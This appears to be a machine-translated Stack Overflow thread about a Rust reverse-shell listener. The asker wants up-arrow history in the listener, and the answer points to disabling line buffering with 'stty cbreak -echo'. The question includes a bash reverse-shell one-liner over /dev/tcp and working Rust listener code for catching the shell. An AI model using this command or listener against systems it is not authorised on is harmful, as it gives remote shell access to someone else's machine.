繁体   English   中英

Rust 反向 Shell 最近命令 On Up 按键

[英]Rust Reverse Shell Recent Command On Up Key Press

我有这个 rust 反向 shell 侦听端口并等待连接。
然后我可以运行/bin/bash -c 'bash -i >& /dev/tcp/0.0.0.0/55100 0>&1'来获得反向 shell。

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
    R: std::io::Read + Send + 'static,
    W: std::io::Write + Send + 'static,
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                println!("Connection lost");
                std::process::exit(0x0100);
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn listen() -> std::io::Result<()> {
    let listener = std::net::TcpListener::bind(format!("{}:{}", "0.0.0.0", "55100"))?;
    println!("Started listener");

    let (stream, _) = listener.accept()?;
    let t1 = pipe_thread(std::io::stdin(), stream.try_clone()?);
    println!("Connection recieved");
    let t2 = pipe_thread(stream, std::io::stdout());
    t1.join().unwrap();
    t2.join().unwrap();

    return Ok(());
}

一切正常,除了当我按下键盘上的向上箭头时它没有将最新的命令放入输入中,而是放入^[[A

[root@arch ~]$ echo hello
echo hello
hello
[root@arch ~]$ ^[[A <------
echo hello
hello
[root@arch ~]$ 

正如您在此处看到的,它完美地运行最新的命令。 但它不会像在普通 shell 中那样将命令放入输入中。 我猜那是因为当你按下回车键时它只会向 shell 发送东西。

我已经尝试过像这样的 rustyline,但是当按下向上箭头或执行任何其他相关操作时,它删除了整个用户和目录( [root@arch ~]$ )。

use rustyline::error::ReadlineError;
use rustyline::Editor;
use std::io::Write;

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
    R: std::io::Read + Send + 'static,
    W: std::io::Write + Send + 'static,
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                println!("Connection lost");
                std::process::exit(0x0100);
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn main() -> std::io::Result<()> {
    let listener = std::net::TcpListener::bind(format!("{}:{}", "0.0.0.0", "55100"))?;
    println!("Started listener");

    let (mut stream, _) = listener.accept()?;
    println!("Connection recieved");
    let t = pipe_thread(stream.try_clone().unwrap(), std::io::stdout());

    let mut rl = Editor::<()>::new();
    loop {
        let readline = rl.readline(">> ");
        match readline {
            Ok(command) => {
                rl.add_history_entry(command.as_str());

                // Clone command to increase its lifetime
                let command = command.clone() + "\n";

                // Send a TCP message
                stream
                    .write(command.as_bytes())
                    .expect("Faild to send TCP.");
            }
            Err(ReadlineError::Interrupted) => {
                println!("CTRL-C");
                break;
            }
            Err(ReadlineError::Eof) => {
                println!("CTRL-D");
                break;
            }
            Err(err) => {
                println!("Error: {:?}", err);
                break;
            }
        }
    }

    return Ok(());
}

因此,如果有可能在按下向上箭头而不使用 rustyline 并在本地存储历史记录时将最近的命令放入输入中

所以它看起来像这样:

[root@arch ~]$ echo hello
hello
[root@arch ~]$ echo hello (up arrow pressed)
hello
[root@arch ~]$ 

我正在寻求如何做的总结!
例如,当按下向上键时,它会实时更新输入。
基本上在按下向上键时实时更改输入,例如 rlwrap -cAr nc -lvnp 55100
例如

[root@arch ~]$ echo hello
echo hello <------ ==|==
hello

我不想在按下输入时显示它,而是希望它实时出现在输入中

您的评估是正确的,由于线路缓冲,您的初始尝试没有奏效。 解决此问题的正确方法是禁用它。 我可以通过运行stty cbreak -echo来实现这一点; 要么通过进程本身产生它,要么简单地使用stty cbreak -echo && cargo run

在上述命令中, cbreak禁用行缓冲, -echo禁用终端自动打印字符,因为这是由 shell 完成的。 如果您查看您的第一个 output,您也会看到这种情况。

这仅适用于类 Unix 系统。 Windows 可能有一个做同样事情的 winapi 调用。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM